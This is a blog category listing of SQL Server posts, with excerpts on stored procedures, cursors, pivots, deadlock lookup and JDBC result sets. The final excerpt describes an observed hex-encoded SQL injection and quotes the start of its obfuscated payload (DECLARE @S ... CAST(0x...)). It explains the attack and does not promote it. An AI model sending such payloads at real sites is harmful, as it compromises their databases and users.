sqlserver
文章平均质量分 77
zhuyx808
这个作者很懒,什么都没留下…
展开
-
数据库随机取N条数据
随机从某个表中取150条数据,其中表中的id随你的表的记录数而定,我现在测试用的是10000 [code="java"] create table #t( id int,name varchar(50)) declare @random_Id int declare @Count int declare @temp int set @Count=1 while @...原创 2008-07-17 08:36:45 · 374 阅读 · 0 评论 -
搞了几天的存储过程
CREATE procedure R_GzReport_financeTotal @YearNum varchar(20)as set @YearNum =ltrim(Rtrim(@YearNum))begin select @YearNum as YearNum into table1 select * from table1 for xml auto create table #te...2007-11-26 08:59:30 · 121 阅读 · 0 评论 -
摘别人的sqlserver知识
SQL游标学习 游标一般格式: DECLARE 游标名称 CURSOR FOR SELECT 字段1,字段2,字段3,... FROM 表名 WHERE ... OPEN 游标名称 FETCH NEXT FROM 游标名称 INTO 变量名1,变量名2,变量名3,... WHILE @@FETCH_STATUS=0 BEGIN SQL语句执行...2007-11-27 06:22:53 · 81 阅读 · 0 评论 -
多个列转换为行记录
前两天的存储过程果真可以优化很多,原来是用到这个东东哦~~~~ /*-- 下面的示例中,按照列Groups分组,统计不同的Item、Color的Quantity合计数据 并且将列Item和Color的统计结果水平显示。--*/ DECLARE @t TABLE(Groups char(2),Item varchar(10),Color varchar(10),Quantity int)INSE...2007-11-27 08:36:44 · 107 阅读 · 0 评论 -
如此视图
[code="sql"]CREATE view V_Daily AS select top 100 percent PerID 员工编码 ,pm.name 员工姓名 , postdate 日期 , convert(varchar(6),datename(dw,postdate)) 星期 , convert(varchar(2),(sum(AMusehour)...原创 2008-09-08 16:27:06 · 105 阅读 · 0 评论 -
sqlserver获取死锁进程
[code="sql"] use master --必须在master数据库中创建 go if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_lockinfo]') and OBJECTPROPERTY(id, N'Is...原创 2009-03-30 15:46:06 · 117 阅读 · 0 评论 -
JDBC取sqlserver存储过程多结果集的解决方法
因为sqlserver2k的官方驱动问题,一直以来用jdbc没有很好的办法取多结果集,公司系统里采用的是2种方式来搞,一种是增删查改用jdbc方式,对报表统计那块就采用odbc的方式,因为最近要改为连接池访问数据库,所以才有时间专门针对取多结果集的问题进行研究。 原来在odbc中取结果集的方式是 [code="java"]Connection DBConn = null; Sta...2008-04-07 15:00:32 · 572 阅读 · 0 评论 -
16进制的SQL 注入
通过post,get,cookies方式注入,注入内容如下: DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032 003500350029002C00400043002000560061007200630068...2009-12-11 15:05:39 · 1272 阅读 · 0 评论